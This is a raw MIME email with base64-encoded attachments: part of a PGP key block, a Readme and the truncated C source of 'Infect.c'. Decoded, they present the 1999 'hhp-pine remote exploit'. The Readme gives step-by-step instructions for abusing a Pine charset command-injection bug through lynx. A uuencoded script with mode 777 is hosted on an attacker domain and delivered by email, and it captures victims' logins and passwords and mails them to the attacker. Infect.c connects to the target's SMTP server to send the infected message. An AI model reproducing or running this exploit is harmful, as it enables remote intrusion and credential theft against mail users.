V2ZzVTcNDQpmUFpFand1NmQzTXVYcGpKVWVGek5lekp6SWJYTnpxRkFWUWF3Vkg2bFYreEdmcWpE MHpjZUdGR0FMdnZHVnhMDQ0KQU5kbUN6cWpFMUxGYnFmMVpkZDA0bEtZS1NnbFg0UEZ6M0x5L2p6 aTIyR0Z4TXVHZjZ1ZDRSODB3VUMwekJLTw0NClJaSFgzalBxanJxZmJZOWRxMXZwQk5ERXVnT1lQ cXYzL2xObGtveFV6S2hKQ1pMUFVjYlFRcytCdU5VVWNSVzkNDQpkRWtsNzFrdWlRQkdCQmdSQWdB R0JRSTNKZkF6QUFvSkVHMHBxcEROYllTTUZnSUFvTVVFMFNHSWZxZzBvajllDQ0Kb1k5QUhEQVNj bVp0QUtEZ0tGN1NUdFJ3QjRLSjYvUTlIQzNnVWdHQmJBPT0NDQo9R0owZQ0NCi0tLS0tRU5EIFBH UCBQVUJMSUMgS0VZIEJMT0NLLS0tLS0NDQo= --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: APPLICATION/OCTET-STREAM; NAME=Readme Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: DQogICAgICAgICAgICAgICAgICAgICBUaGUgaGhwIHByZXNlbnRzLi4uDQoNCiAgICAgICAgICAg ICAgICAgVGhlIGhocC1waW5lIHJlbW90ZSBleHBsb2l0Lg0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgNi8yMi85OQ0KICAgICAgICAgICAgIEJ5OiBlbGFpY2ggYWthIExvb3BIb2xlIG9mIHRo ZSBoaHAuDQogICAgICAgICAgICAgUHJvYnMvQnVncy9FdGMuIC0+IGhocEBoaHAuaGVtcC5uZXQN CiAgICAgICAgICAgICAgICAgICAgIChFbWFpbCBpZiBoaXJpbmcuKQ0KIy0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KICAgICAgICAg ICBWZXJzaW9ucyBlZmZlY3RlZDogQUxMIHRvIEN1cnJlbnQgNC4xMA0KDQogICAgICAgICAgICBU aGlzIHBhY2thZ2UgY29udGFpbnMgdGhlIGZvbGxvd2luZy4uLg0KICAgICAgICAgICAgMSkgcHNp dGUuc2ggICAgICAoU2NyaXB0ICAjMS4pDQogICAgICAgICAgICAyKSBJbmZlY3QuYyAgICAgIChQ cm9ncmFtICMyLikNCiAgICAgICAgICAgIDMpIGNsZWFudXAuYyAgICAgKENsZWFuLXVwIHNjcmlw dC4pDQoNCg0KICBUaGlzICBleHBsb2l0ICB3YXMgIG1hZGUgIGFib3V0IDQgbW9udGhzIGFnbyBh bmQgSSBhbG1vc3QNCnRvdGFsbHkgIGZvcmdvdCAgYWJvdXQgIGl0IHVudGlsbCByZWNlbnRseS4g IE5vdyBsZXRzIHRoaW5rDQpiYWNrICBhYm91dCAgNCAgbW9udGhzIGFnbyB3aGVuIGEgZmV3IHBv c3RzIHRvIGJ1Z3RyYXEgd2VyZQ0Kc2VudCAgYWJvdXQgIGEgIGNoYXJzZXQ9YGBjb21tYW5kcy4u LmBgICBidWcuICBUaGUgIHByb2JsZW0NCndhc250ICB0byAgYmlnIGJlY2F1c2UgQUxPVCBvZiBj aGFyYWN0ZXJzIGNvdWxkIG5vdCBiZSB1c2VkDQppbiAgYXR0YWNraW5nICB0aGlzICBwcm9ibGVt LiAgVGhlIG1haW4gY2hhcnMgdGhhdCB3b3VsZCBiZQ0KbmVlZGVkIHRvIGRvIHNvbWUgaGFybWZ1 bGwgZGFtYWdlIGFyZSA7IDogPiA8IC8gQCAiIGAgJyBcID0NCiUgIC0gIGFuZCB8IHdoaWNoIGFy ZSBhbGwgbm90IGFsbG93ZWQgYmVzaWRlcyB8IGFuZCAtIHdoaWNoDQpjYW50ICBiZSAgdXNlZCAg aW4gYW55IHdheXMgd291dGhvdXQgdGhlIG90aGVycy4gIFRoZXJlcyBubw0Kd2F5ICB0byAgcG9z c2libHkgIGVjaG8gIHRvICBhIGZpbGUsIHNlbmQgYW4geHRlcm0sIG9yIHJtIGENCnN5c3RlbSAg d2l0aG91dCAgLyBhbmQgPi4gIFNvICJwZmZ0IiB5b3Ugc2FpZCBhbmQgZ290IGFsb25nDQp3aXRo ICB5b3VyIGFkbWluaW5nLiAgVGhpcyBleHBsb2l0IHdpbGwgc2hvdyB5b3UgaG93IHRvIHJ1bg0K cmVtb3RlICBjb21tYW5kcyBhbmQgZXhwbG9pdCB0aGUgc3lzdGVtIGFsbCB3aXRoIG9ubHkgdGhl IHwNCmFuZCAgLSAgY2hhcmFjdGVycy4gIE5vdyAgeW91ICBzYXkgImhvdyBpcyB0aGF0IHBvc3Np YmxlPyIuDQpXZWxsIGl0cyBjYWxsZWQgdXVkZWNvZGUgd2hpY2ggZGVjb2RlcyBhIHV1ZW5jb2Rl ZCBmaWxlIGFuZA0Kc2V0cyB0aGUgbW9kZSBkZWZpbmVkIG9uIHRoZSB0b3AgbGluZSBvZiB0aGUg LnV1ZSBmaWxlIHdoZW4NCml0cyAgZGVjb2RlZC4gIFNvIG5vdywgd2Uga25vdyBob3cgdG8gZG8g dGhlIGZpbGUgcGFydCwgYnV0DQp0aGVuICB5b3UgIHNheSAiQnV0ICBob3cgIGRvICB3ZSBnZXQg dGhlIGZpbGUgb24gdGhlIHJlbW90ZQ0Kc2VydmVyICBmb3IgIGNocmlzdHMgIHNha2U/Ii4gIFRo YXRzIGVhc3kgdG9vLCBhbGwgd2l0aCB0aGUNCmhlbHAgIG9mIGx5bnggb24gdGhlIHRhcmdldCBz ZXJ2ZXIuICBBbGwgeW91IGRvIGlzIGdvIGdldCBhDQpkb21haW4gIGxpa2UgIHd3dy5ibGFoLmNv bSB3aGljaCBDQU5OT1QgYmUgYSB1c2VyIGRpcmVjdG9yeQ0KbGlrZSAgd3d3LmJsYWguY29tL3Vz ZXIgYmVjYXVzZSB3ZSBjYW50IHVzZSB0aGUgLyBjaGFyYWN0ZXINCmluICB0aGUgIGNoYXJzZXQu ICAgU28gIGl0ICBIQVMgIHRvICBiZSAgYSB3d3cuYmxhaC5jb20gIG9yIA0Kd2hhdGV2ZXIuICBU aGVuICB0aGlzICBpcyAgd2hlcmUgeW91IGhhdmUgdG8gZm9sbG93IHdoYXQgaW0NCnNheWluZyAg cmVhbGx5ICBjbG9zZS4gIFdlICBhcmUgIGdvaW5nIHRvIHV1ZW5jb2RlIHBzaXRlLnNoDQphbmQg IG5hbWUgIHRoZSB1dWVuY29kZWQgZmlsZSAnLi4uJyAodGhyZWUgZG90cykgd2hpY2ggd2lsbA0K YmUgdGhlIGluZGV4Lmh0bWwgb2YgeW91ciBkb21haW4uICBUaGlzIGlzIGhvdyB5b3UgZG8gdGhp czoNCltyb290QGhocF0jIHV1ZW5jb2RlIHBzaXRlLnNoIC4uLiA+IGluZGV4Lmh0bWwNClRoZW4g IHlvdSAgbmVlZCAgdG8gIGVkaXQgdGhlIGluZGV4Lmh0bWwgYW5kIGNoYW5nZSB0aGUgdG9wDQps aW5lICB0byBtYWtlIHN1cmUgdGhlIG1vZGUgaXMgNzc3IChEZWZ1YWx0IGlzIHVzdWFsbHkgbGlr ZQ0KNjQ0ICBvciAgNjU1IChpdCB2YXJyaWVzKSkuICBUaGVuICBzYXZlICB0aGUgaW5kZXguaHRt bCBhbmQNCnRoZW4gIGdvICBsb29rICBhdCB5b3VyIHdlYnNpdGUgYW5kIG1ha2Ugc3VyZSBpdCBp cyBjb21taW5nDQp1cCBpbiB5b3VyIGJyb3dzZXIuDQoNCiAgQSBzdWdnZXN0aW9uIGlzIHRvIGdv IHRvIHd3dy5mcmVlc2VydmVycy5jb20gYW5kIHJlZ2lzdGVyDQphICBmcmVlICBkb21haW4uICBU aGVuICB1dWVuY29kZSAgdGhlIGZpbGUsIHRoZW4gY2hhbmdlIHRoZQ0KbW9kZSAgdG8gIDc3Nywg YW5kICBUSEVOICBzaW5jZSB0aGV5IGF1dG9tYXRpY2FsbHkgYWRkIHRoYXQNCmJhbm5lciAgdG8g IHlvdXIgIHdlYnNpdGUsICBhZGQgIDxQUkU+ICB0byAgdGhlICB0b3Agb2YgdGhlDQp1dWVuY29k ZWQgIGZpbGUgYW5kIDwvUFJFPiB0byB0aGUgIGJvdHRvbSBhbmQgaXQgd2lsbCBhbGxvdw0KaXQg dG8gd29yayB3aXRoIHRoYXQgYmFubmVyIHN0aWxsIHRoZXJlLg0KDQpUaGUgbmV4dCBzdGVwIGlz IHRvIGNvbXBpbGUgSW5mZWN0LmMgbGlrZS4uLg0KW3Jvb3RAaGhwXSMgZ2NjIEluZmVjdC5jIC1v IEluZmVjdA0KDQogIFRoZSAgb25seSB3aWVyZCB0aGluZyAgYWJvdXQgIHRoaXMgIGlzICB3aGVu ICByb290IG9yIGENCm5vbi1yb290ICB1c2VyICByZWFkcyB0aGUgZW1haWwgaXQgd2lsbCBzY3Jv bGwgdGhlIHNjcmVlbg0Kd2l0aCAgZXJyb3JzICBhcyAgaWYgIHRoZSAgY29udGVudHMgIG9mIHRo ZSBzY3JpcHQgaXMgbm90DQp3b3JraW5nLiAgQnV0ICBpdCBzZXJpb3VzbHkgZGlkIHdvcmssIHlv dSBjYW4gdGVzdCBpdCBvdXQNCnlvdXJzZWxmLiAgQSAgZ29vZCAgZmVhdHVyZSB0aGUgZXhwbG9p dCBoYXMgaXMgdGhhdCBhZnRlcg0KdGhlICBlbWFpbCAgaXMgcmVhZCwgaXQgd2lsbCBkZWxldGUg dGhlIGV2aWwgY2hhcnNldCBmcm9tDQp0aGUgIGVtYWlsICBzbyAgaWYgIHRoZXkgIGRlY2lkZSB0 byByZWFkIGl0IGFnYWluKEFzIG1vc3QNCnBlb3BsZSB3b3VsZCkgaXQgd29udCByZS1pbmZlY3Qg dGhlIHNlcnZlci4NCg0KICBSZW1lbWJlciwgdGhpcyBjYW4gYmUgdXNlZCBvbiBub24tcm9vdCB1 c2VycyB0b28uICBXaGF0DQppdCAgZG9lcyAgaXMgIGxvZyAgdGhlbSAgb3V0ICBvZiAgdGhlaXIg c2hlbGwgbWFraW5nIHRoZW0NCnJlbG9naW4gIHdoaWNoICB0aGVuICB3ZSBncmFiIHRoZWlyIGxv Z2luL3Bhc3N3ZCBhbmQgdGhlbg0KaXQgIGVtYWlscyB0aGVtIHRvIHlvdSBhdCB0aGUgZGVmaW5l ZCBhZGRyZXNzIGluIHBzaXRlLnNoDQoNCiAgTk9URTogVGhleSBoYXZlIHRvIGJlIHJ1bm5pbmcg cGluZSBBTkQgbHlueC4gIElmIGFueW9uZQ0KY2FuICB0aGluayAgb2YgYSB3YXkgd2l0aG91dCBs eW54KEkgZG91YnQgaXQpLCBJIHdvdWxkIGJlDQppbnRlcmVzdGVkICB0byBoZWFyIHRoZSB3YXku ICBXZSd2ZSBhbHJlYWR5IHRob3VnaHQgYWJvdXQNCnB1dHRpbmcgIHRoZSB1dWVuY29kZWQgZmls ZSBpbiBhIGZpbmdlciBwbGFuLCBidXQgd2UgY2FudA0KdXNlIHRoZSAnQCcgY2hhcmFjdGVyLg0K DQogIE1vc3QgIGFsbCAgb3BlcmF0aW5nIHN5c3RlbXMgYXJlIHZ1bG5lcmFibGUgaWYgdGhleSBy dW4NCnBpbmUgIGFuZCAgbHlueC4gIFlvdSBjYW4gY2hhbmdlIHNvbWUgb2YgdGhlIHNjcmlwdGlu ZyBpbg0Kc2NyaXB0ICAjMSAgZm9yICB0aGF0ICBwYXJ0aWN1bGFyICBvcy4uLiBsaWtlIHRoZSBr aWxsYWxsDQpjb21tYW5kICBhbmQgIHRoZSAgcGF0aCBvZiB0aGUgdXNlciBtYWlsLiAgVGVzdGVk IG9uIEJTRCwNCkxpbnV4LCBJUklYLCBBSVgsIFNDTyBhbmQgU3VuT1MuDQoNCiAgUGluZSBwYXRj aGVzIHdlcmUgIG1hZGUsIGJ1dCBhIG5ldyB2ZXJzaW9uIGhhcyBub3QgYmVlbg0KcmVsZWFzZWQu ICBJIHN1Z2dlc3QgeW91IGdldCB0aGUgcGF0Y2ggaWYgeW91IGFyZSBydW5uaW5nDQphbnkgdmVy c2lvbiBvZiBwaW5lLg0KDQotZWxhaWNoDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tDQplbGFpY2ggb2YgdGhlIGhocC4gICAgICAgICAgICBoaHAtMTk5OShjKQ0K RW1haWw6ICBoaHBAaGhwLmhlbXAubmV0DQpXZWI6ICAgIGh0dHA6Ly9oaHAuaGVtcC5uZXQvDQpQ aG9uZTogIDcxMy00NTEtNjk3Mg0KaGhwLW1zOiBoaHAuaGVtcC5uZXQsIHBvcnQ6Nzc3NywgcGFz czpoaHANCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi0tLS0t QkVHSU4gUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ0KVmVyc2lvbjogUEdQZnJlZXdhcmUgNi4w IGZvciBub24tY29tbWVyY2lhbCB1c2UgPHd3dy5wZ3AuY29tPg0KbVFHaUJEY2w4Q3dSQkFEN3hD cCtBNU9SaVJ6TUxTNG1Qc3RMMWFKYWRTQ1hTR3lOS0VaWjZrWndkTzNZaExDZg0KMnZrZUpGME9H ZThLUmZkOExSeFAwZi8zc3lnN2xmSDc3bTBPUDhOWGVvT0hENDhUOEs0TWFicDJXRUptVVcwcg0K SjZvcDk0TGpGVXdxTnFZdU9hK2JWVUxyb3RaWTZpV2x4Qld1bmx0dTl3cnFnUDIyUlZ0S0F1MFBW d0NnLzJTUw0KcllvRENOVEg0ZGx6TmNWY3phNVh1aE1FQUxibXVLSVNiamVPcXNWRVRZWU1kUWZy ME0vbTFZZnp0akoydERTNw0KYkdmT0NGcFFVRkx5Q1V0L0ZISG1sSW5YUVdVU1ZDZ2prcDAvZ2lG b1k5ZFgrNElCOHdMZ2Z1NjhCT1pNNWZmdA0KSTVteEkwdnlCU2tlMmtIUVRxZjN2UTVZdmVnNmdJ QjhXVzlQaStNQXdMTVMzK0htcmFyKzRHQ1VPcWU5dzN5aQ0KdTFxM0JBRGNBTTNWa09ScGtpZmpL OHBXZXgxZmRmdkdtTEJYNVBCdUNleGw1ZHBlWGRWQytLdG5jaXM5dTR5aA0KNWYvUEkvZy9VazRU MkQvbkY1UEE0dFNrTnZSSmFQVlpDWGpGUmZjNEsrcnpReHVZUmVQd1hGZ2FIU2s5Y0RuZA0KWEJx NUpNNmlYTEJHRklKcGJid1drZnR1Rk9hSkxYZFAvRHFEYVhramJXWExiSDluTjdRaFpXeGhhV05v SUc5bQ0KSUdob2NDNGdQR2hvY0VCb2FIQXVhR1Z0Y0M1dVpYUStpUUJMQkJBUkFnQUxCUUkzSmZB c0JBc0RBZ0VBQ2drUQ0KYlNtcWtNMXRoSXh2a1FDZUlFVVlKVHdGNW5DK1Q5RFVjVXFTdHFwd3Rp UUFvSXp3OWZxU0IwMjZRK3cwQ0dXZQ0KQlBYOUxENXJ1UUlOQkRjbDhETVFDQUQyUWxlM0NIOElG M0tpdXRhcFF2TUY2UGxURVRsUHR2RnV1VXM0SU5vQg0KcDFhakZPbVBRRlh6MEFmR3kwT3BsSzMz VEdTR1NmZ01nNzFsNlJmVW9kTlErUFZaWDl4MlVrODlQWTNienBuaA0KVjVKWnpmMjRyblJQeGZ4 MnZJUEZSekJoem56Slp2OFYrYnY5a1Y3SEFhclRXNTZOb0tWeU90UWE4TDlHQUZncg0KNWZTSS9W aE9TZHZOSUxTZDVKRUhObXN6YkRnTlJSMFBmSWl6SEh4YkxZNzI4OGtqd0VQd3BWc1lqWTY3Vll5 NA0KWFRqVE5QMThGMWREb3gwWWJONHpJU3kxS3Y4ODRiRXBRQmdSalh5RXB3cHkxb2JFQXhuSUJ5 bDZ5cFVNMlphZg0KcTlBS1VKc0NSdE1JUFdha1hVR2ZuSHk5aVVzaUdTYTZxNkpldzFYcE1nczdB QUlDQi9vQ29BQnJjQW9kQStRdw0KMFFPenB0bTZhcnh0YVJ0ZTRhNlpRcytONFk2MytTNW9LQno0 L2F0SEdHSXFnY3hDVWFhUEN4ZmNxUk1vejZUdw0KWmh4T0tlMy94S0ErcVBSZkxQMTlQM25IY1RM WnFhL29ydm9oRHUyMzVPUUhCZDVNaTZzcjJNVWNVTDFXZnNVNw0KZlBaRWp3dTZkM011WHBqSlVl RnpOZXpKekliWE56cUZBVlFhd1ZINmxWK3hHZnFqRDB6Y2VHRkdBTHZ2R1Z4TA0KQU5kbUN6cWpF MUxGYnFmMVpkZDA0bEtZS1NnbFg0UEZ6M0x5L2p6aTIyR0Z4TXVHZjZ1ZDRSODB3VUMwekJLTw0K UlpIWDNqUHFqcnFmYlk5ZHExdnBCTkRFdWdPWVBxdjMvbE5sa294VXpLaEpDWkxQVWNiUVFzK0J1 TlVVY1JXOQ0KZEVrbDcxa3VpUUJHQkJnUkFnQUdCUUkzSmZBekFBb0pFRzBwcXBETmJZU01GZ0lB b01VRTBTR0lmcWcwb2o5ZQ0Kb1k5QUhEQVNjbVp0QUtEZ0tGN1NUdFJ3QjRLSjYvUTlIQzNnVWdH QmJBPT0NCj1HSjBlDQotLS0tLUVORCBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tDQoNCg== --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_ Content-Type: APPLICATION/OCTET-STREAM; NAME="Infect.c" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq DQogKiAgKGhocCkgSW5mZWN0LmMgKGhocCkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICoNCiAqICBCeTogZWxhaWNoIG9mIHRoZSBoaHAuICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgKg0KICogIFBhcnQgb2YgdGhlIChoaHAtcGluZSByZW1vdGUgZXhwbG9pdC4pICAgICAgICAg ICAgICAqDQogKiAgZ2NjIEluZmVjdC5jIC1vIEluZmVjdCA7IC4vSW5mZWN0ICAgICAgICAgICAg ICAgICAgICoNCiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgKg0KICogIENvbm5lY3RzICB0byB0aGVpciBTTVRQIHNlcnZlciwgd2FpdHMgZm9y ICAgICAgICAgICAqDQogKiAgYSBmdWxsIGNvbm5lY3Rpb24gdGhlbiBzZW5kcyB0aGUgaW5mZWN0 ZWQgICAgICAgICAgICoNCiAqICBlbWFpbCBhbmQgZGlzY29ubmVjdHMuICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKg0KICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqLw0KDQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8 c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxuZXRkYi5o Pg0KI2luY2x1ZGUgPGFycGEvaW5ldC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8 bWFsbG9jLmg+DQojaW5jbHVkZSA8c2lnbmFsLmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNp bmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCg0KI2RlZmluZSBUSU1FT1VU IDEyICAgICAgICAgICAgICAgLy8gVGhlIHRpbWUgd2Ugd2lsbCB3YWl0IGJlZm9yZSBnaXZpbmcg dXAuDQoNCmNoYXIgKiBvbWZnOyAgICAgICAgICAgICAgICAgICAgIC8vIGdsb2JhbGlzZWQgYXJn dlsyXS4NCnZvaWQgc2xvd2FzcyhpbnQgc2lnKTsNCg0KdW5zaWduZWQgaW50IHd0ZmlzaXQoY2hh ciAqbmFtZSkgLy8gSG9zdG5hbWUsIGlwLCBvciBuaWV0aGVyPw0KIHsNCiAgc3RydWN0IGluX2Fk ZHIgYWRkcjsNCiAgc3RydWN0IGhvc3RlbnQgKmhlOw0KDQogIGlmKCAoYWRkci5zX2FkZHIgPSBp bmV0X2FkZHIobmFtZSkpID09IC0xKQ0KICAgew0KDQogICAgaWYoIChoZSA9IGdldGhvc3RieW5h bWUobmFtZSkpID09IE5VTEwpDQogICAgIHsNCiAgICAgIGZwcmludGYoc3RkZXJyLCJcbi0oSSkt PiBUaGUgaG9zdG5hbWUgb3IgSVAgaXMgbm90IGNvcnJlY3QuXG4iKTsNCiAgICAgIGV4aXQoMSk7 DQogICAgIH0NCiAgICBiY29weShoZS0+aF9hZGRyLCAoY2hhciAqKSZhZGRyLnNfYWRkciwgaGUt PmhfbGVuZ3RoKTsNCiAgIH0NCiAgcmV0dXJuIGFkZHIuc19hZGRyOw0KIH0NCg0KaW50IG1haW4o aW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCiB7DQogIGNoYXIgbXNnWzUxMl07DQogIHN0cnVjdCBz b2NrYWRkcl9pbiB2aWN0ZW07DQogIGludCB0aGVfaXA7DQogIGludCB0aGVfcG9ydDsNCiAgaW50 IHRoZV9zb2NrZXQ7DQogIGNoYXIgKiBpbmJ1ZjsNCiAgaW50IGE7DQoNCiAgaWYoIGFyZ2MgPCA0 KSAgICAgLy8gQXJlIHRoZXJlIGVub3VnaCBhcmdzPw0KICAgew0KICAgIGZwcmludGYoc3Rkb3V0 LCJcbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSW5mZWN0LmMgLUJ5OiBlbGFpY2gg b2YgdGhlIGhocC5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gUGFydCBvZiB0aGUg KGhocC1waW5lIHJlbW90ZSBleHBsb2l0KS5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkp LT5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gVXNhZ2U6ICVzIDxJbmZlY3RlZCBp bmRleC5odG1sIHNpdGU+IDxUYXJnZXQgSG9zdD4gPFRhZ2V0IFVzZXJOYW1lPlxuIiwgYXJndlsw XSk7DQogICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBFeGFtcDogJXMgd3d3Lm15ZG9tYWluLmNv bSB0YXJnZXQuY29tIHJvb3RcbiIsIGFyZ3ZbMF0pOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkp LT5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSXQgQ0FOVCBiZSBhIGRpciBzaXRl IGxpa2Ugd3d3LmJsYWguY29tL2RpciBhbmQgRE9OVFxuIik7DQogICAgZnByaW50ZihzdGRvdXQs Ii0oSSktPiBwdXQgJ2h0dHA6Ly8nIGJlY2F1c2Ugd2UgQ0FOVCB1c2UgdGhlICcvJyBjaGFyYWN0 ZXIuXG4iKTsNCiAgICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+XG4iKTsNCiAgICBmcHJpbnRmKHN0 ZG91dCwiLShJKS0+IEhhdmUgZnVuLlxuXG4iKTsNCiAgICBleGl0KC0xKTsNCiAgIH0NCg0KICBt ZW1zZXQobXNnLCAwLCA1MTIpOw0KDQogIHNpZ25hbChTSUdBTFJNLCAmc2xvd2Fzcyk7ICAgLy8g VGhpcyB3aWxsIGNhdGNoIHRoZSBhbGFybSBpZiBpdCBnb2VzIG9mZi4NCiAgYWxhcm0oVElNRU9V VCk7ICAgICAgICAgICAgICAvLyBBbGFybSBpZiB3ZSByZWFjaCB0aGUgdGhlIGRlZmluZWQgdGlt ZW91dC4NCg0KICBvbWZnICAgICAgICAgICAgICAgICAgID0gYXJndlsyXTsNCiAgdGhlX2lwICAg ICAgICAgICAgICAgICA9IHd0ZmlzaXQoYXJndlsyXSk7IC8vIGFyZ3ZbMl0gLT4gd3RmaXNpdCgp IC0+IHRoZV9pcA0KICB0aGVfc29ja2V0ICAgICAgICAgICAgID0gc29ja2V0KEFGX0lORVQsIFNP Q0tfU1RSRUFNLCBJUFBST1RPX1RDUCk7DQogIHZpY3RlbS5zaW5fZmFtaWx5ICAgICAgPSBBRl9J TkVUOw0KICB2aWN0ZW0uc2luX3BvcnQgICAgICAgID0gaHRvbnMoMjUpOyAgLy8gU01UUC4NCiAg dmljdGVtLnNpbl9hZGRyLnNfYWRkciA9IHRoZV9pcDsNCg0KICBpZiggY29ubmVjdCh0aGVfc29j a2V0LCAoc3RydWN0IHNvY2thZGRyICopJnZpY3RlbSwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9p bikpID09IC0xKQ0KICAgew0KICAgIHBlcnJvcigiY29ubmVjdCIpOyAgICAvLyBXZSBjb3VsZG50 IGNvbm5lY3QuDQogICAgZXhpdCgtMSk7ICAgICAgICAgICAgIC8vIEV4aXRzIHRoZSBwcm9ncmFt Lg0KICAgfQ0KDQogICBmcHJpbnRmKHN0ZG91dCwiXG4iKTsNCiAgIGZwcmludGYoc3Rkb3V0LCIt KEkpLT4gSW5mZWN0LmMgLUJ5OiBlbGFpY2ggb2YgdGhlIGhocC5cbiIpOw0KICAgZnByaW50Zihz dGRvdXQsIi0oSSktPiBQYXJ0IG9mIHRoZSAoaGhwLXBpbmUgcmVtb3RlIGV4cGxvaXQpLlxuIik7 DQogICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQogICBmcHJpbnRmKHN0ZG91dCwiLShJ KS0+IEpvYnMvUHJvYnMvQnVncy9FdGMuIC0+IGhocEBoaHAuaGVtcC5uZXRcbiIpOw0KICAgZnBy aW50ZihzdGRvdXQsIi0oSSktPiBcbiIpOw0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBIb3N0 IHcvIGluZmVjdGVkIGluZGV4Lmh0bWwuIC0+ICVzXG4iLCBhcmd2WzFdKTsNCiAgIGZwcmludGYo c3Rkb3V0LCItKEkpLT4gVGFyZ2V0IEhvc3QgdG8gaW5mZWN0LiAgICAgICAtPiAlc1xuIiwgYXJn dlsyXSk7DQogICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFRhcmdldCBVc2VyTmFtZSB0byBpbmZl Y3QuICAgLT4gJXNcbiIsIGFyZ3ZbM10pOw0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBcbiIp Ow0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBBdHRlbXB0aW5nIHRvIGNvbm5lY3QuLi5cbiIp Ow0KDQogICBpbmJ1ZiA9IG1hbGxvYyg2NTUzNik7DQogICBiemVybyhpbmJ1Ziw2NTUzNik7DQog ICB3aGlsZShzdHJzdHIoaW5idWYsICIyMjAiKSA9PSBOVUxMKSAvLyBVbnRpbGwgd2UgZ2V0IGEg ZnVsbCBjb25uZWN0aW9uDQogICAgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAv LyB3ZSB3aWxsIHdhaXQgYW5kIG1ha2UgYSBmdW5ueSBtb3Rpb24uDQogICAgIHByaW50ZigiXHIt KEkpLT4gV2FpdGluZyBmb3IgZnVsbCBjb25uZWN0aW9uLiIpOw0KICAgICBmZmx1c2goc3Rkb3V0 KTsNCiAgICAgdXNsZWVwKDkwMDAwMCk7DQogICAgIGZvciAoYT0wO2E8PTI7YSsrKQ0KICAgICAg ew0KICAgICAgIHByaW50ZigiXHItKFxcKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4u Iik7DQogICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgdXNsZWVwKDkwMDAwMCk7DQogICAg ICAgcHJpbnRmKCJcci0oLSktPiBXYWl0aW5nIGZvciBmdWxsIGNvbm5lY3Rpb24uLi4iKTsNCiAg ICAgICBmZmx1c2goc3Rkb3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgICBwcmlu dGYoIlxyLSgvKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4uLi4iKTsNCiAgICAgICBm Zmx1c2goc3Rkb3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgICBwcmludGYoIlxy LShJKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4iKTsNCiAgICAgICBmZmx1c2goc3Rk b3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgIH0NCiAgICAgcmVjdih0aGVfc29j a2V0LGluYnVmK3N0cmxlbihpbmJ1ZiksNjU1MzUtc3RybGVuKGluYnVmKSwwKTsNCiAgICB9DQoN CiAgIGlmKHN0cnN0cihpbmJ1ZiwgIjIyMCIpICE9IE5VTEwpICAvLyBXZSBmdWxseSBjb25uZWN0 ZWQgdG8gdGhlIFNNVFAgc2VydmVyLg0KICAgIHsNCiAgICAgc3ByaW50Zihtc2csIkhFTE8gVEhF UkVcbk1BSUwgRlJPTToiKTsgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJs ZW4obXNnKSk7DQogICAgIHNwcmludGYobXNnLCJEYXZlPGRhdmVAbG9jYWxob3N0PlxuUkNQVCBU TzoiKTsgICAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJp bnRmKG1zZywiJXM8JXNAJXM+XG4iLGFyZ3ZbM10sYXJndlszXSxhcmd2WzJdKTsgIHdyaXRlKHRo ZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkRBVEFcbiIpOyAg 